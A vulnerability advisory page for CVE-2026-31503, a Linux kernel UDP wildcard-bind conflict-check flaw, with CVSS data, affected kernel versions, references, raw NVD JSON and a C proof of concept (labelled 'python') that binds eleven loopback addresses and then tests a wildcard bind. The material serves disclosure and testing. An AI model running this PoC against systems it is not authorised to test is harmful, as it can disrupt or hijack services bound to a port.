CVE-2026-31503

Description

In the Linux kernel, the following vulnerability has been resolved: udp: Fix wildcard bind conflict check when using hash2 When binding a udp_sock to a local address and port, UDP uses two hashes (udptable->hash and udptable->hash2) for collision detection. The current code switches to "hash2" when hslot->count > 10. "hash2" is keyed by local address and local port. "hash" is keyed by local port only. The issue can be shown in the following bind sequence (pseudo code): bind(fd1, "[fd00::1]:8888") bind(fd2, "[fd00::2]:8888") bind(fd3, "[fd00::3]:8888") bind(fd4, "[fd00::4]:8888") bind(fd5, "[fd00::5]:8888") bind(fd6, "[fd00::6]:8888") bind(fd7, "[fd00::7]:8888") bind(fd8, "[fd00::8]:8888") bind(fd9, "[fd00::9]:8888") bind(fd10, "[fd00::10]:8888") /* Correctly return -EADDRINUSE because "hash" is used * instead of "hash2". udp_lib_lport_inuse() detects the * conflict. */ bind(fail_fd, "[::]:8888") /* After one more socket is bound to "[fd00::11]:8888", * hslot->count exceeds 10 and "hash2" is used instead. */ bind(fd11, "[fd00::11]:8888") bind(fail_fd, "[::]:8888") /* succeeds unexpectedly */ The same issue applies to the IPv4 wildcard address "0.0.0.0" and the IPv4-mapped wildcard address "::ffff:0.0.0.0". For example, if there are existing sockets bound to "192.168.1.[1-11]:8888", then binding "0.0.0.0:8888" or "[::ffff:0.0.0.0]:8888" can also miss the conflict when hslot->count > 10. TCP inet_csk_get_port() already has the correct check in inet_use_bhash2_on_bind(). Rename it to inet_use_hash2_on_bind() and move it to inet_hashtables.h so udp.c can reuse it in this fix.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前的特定版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#define PORT 8888
#define BIND_COUNT 11

int main() {
    int sockets[BIND_COUNT];
    struct sockaddr_in addr;
    int i;

    printf("[+] Starting PoC for CVE-2026-31503...\n");

    // Step 1: Bind multiple specific IPs to trigger hash2 usage
    // Note: This requires the system to have multiple local IPs configured (e.g., aliases)
    for (i = 0; i < BIND_COUNT; i++) {
        sockets[i] = socket(AF_INET, SOCK_DGRAM, 0);
        if (sockets[i] < 0) {
            perror("socket");
            return 1;
        }
        memset(&addr, 0, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_port = htons(PORT);
        // Example: bind to 127.0.0.1, 127.0.0.2, etc. Ensure these IPs exist.
        addr.sin_addr.s_addr = htonl(0x7F000001 + i); 

        if (bind(sockets[i], (struct sockaddr*)&addr, sizeof(addr)) < 0) {
            printf("[-] Failed to bind specific IP 127.0.0.%d (might not exist).\n", i+1);
        } else {
            printf("[+] Bound to 127.0.0.%d:%d\n", i+1, PORT);
        }
    }

    // Step 2: Attempt wildcard bind
    int wildcard_sock = socket(AF_INET, SOCK_DGRAM, 0);
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr = htonl(INADDR_ANY);

    if (bind(wildcard_sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
        printf("[!] SUCCESS: Wildcard bind (0.0.0.0:%d) succeeded unexpectedly! Vulnerability confirmed.\n", PORT);
    } else {
        printf("[-] FAIL: Wildcard bind failed. System may be patched or prerequisites not met.\n");
    }

    // Cleanup
    close(wildcard_sock);
    for (i = 0; i < BIND_COUNT; i++) close(sockets[i]);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31503
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31503
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31503/
[4] VulDB https://vuldb.com/cve/CVE-2026-31503
[5] https://git.kernel.org/stable/c/0a360f7f73a06ac88f18917055fbcc79694252d7
[6] https://git.kernel.org/stable/c/18d84c45def3671d5c89fbdd5d4ab8a3217fe4b4
[7] https://git.kernel.org/stable/c/2297e38114316b26ae02f2d205c49b5511c5ed55
[8] https://git.kernel.org/stable/c/d6ace0dbcbb7fd285738bb87b42b71b01858c952
[9] https://git.kernel.org/stable/c/e537dd15d0d4ad989d56a1021290f0c674dd8b28
[10] https://git.kernel.org/stable/c/f1bed05a832ae79be5f7a105da56810eaa59a5f1

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31503", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:48.863", "lastModified": "2026-04-28T15:07:47.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: Fix wildcard bind conflict check when using hash2\n\nWhen binding a udp_sock to a local address and port, UDP uses\ntwo hashes (udptable->hash and udptable->hash2) for collision\ndetection. The current code switches to \"hash2\" when\nhslot->count > 10.\n\n\"hash2\" is keyed by local address and local port.\n\"hash\" is keyed by local port only.\n\nThe issue can be shown in the following bind sequence (pseudo code):\n\nbind(fd1, \"[fd00::1]:8888\")\nbind(fd2, \"[fd00::2]:8888\")\nbind(fd3, \"[fd00::3]:8888\")\nbind(fd4, \"[fd00::4]:8888\")\nbind(fd5, \"[fd00::5]:8888\")\nbind(fd6, \"[fd00::6]:8888\")\nbind(fd7, \"[fd00::7]:8888\")\nbind(fd8, \"[fd00::8]:8888\")\nbind(fd9, \"[fd00::9]:8888\")\nbind(fd10, \"[fd00::10]:8888\")\n\n/* Correctly return -EADDRINUSE because \"hash\" is used\n * instead of \"hash2\". udp_lib_lport_inuse() detects the\n * conflict.\n */\nbind(fail_fd, \"[::]:8888\")\n\n/* After one more socket is bound to \"[fd00::11]:8888\",\n * hslot->count exceeds 10 and \"hash2\" is used instead.\n */\nbind(fd11, \"[fd00::11]:8888\")\nbind(fail_fd, \"[::]:8888\") /* succeeds unexpectedly */\n\nThe same issue applies to the IPv4 wildcard address \"0.0.0.0\"\nand the IPv4-mapped wildcard address \"::ffff:0.0.0.0\". For\nexample, if there are existing sockets bound to\n\"192.168.1.[1-11]:8888\", then binding \"0.0.0.0:8888\" or\n\"[::ffff:0.0.0.0]:8888\" can also miss the conflict when\nhslot->count > 10.\n\nTCP inet_csk_get_port() already has the correct check in\ninet_use_bhash2_on_bind(). Rename it to\ninet_use_hash2_on_bind() and move it to inet_hashtables.h\nso udp.c can reuse it in this fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.33.1", "versionEndExcluding": "6.1.168", "matchCriteriaId": "8311CDFC-9254-42F8-B327-8390CCD33713"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.33:-:*:*:*:*:*:*", "matchCriteriaId": "EF818826-D9F2-42F9-9638-9609513561A3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0a360f7f73a06ac88f18917055fbcc79694252d7", "source": "416baaa ... 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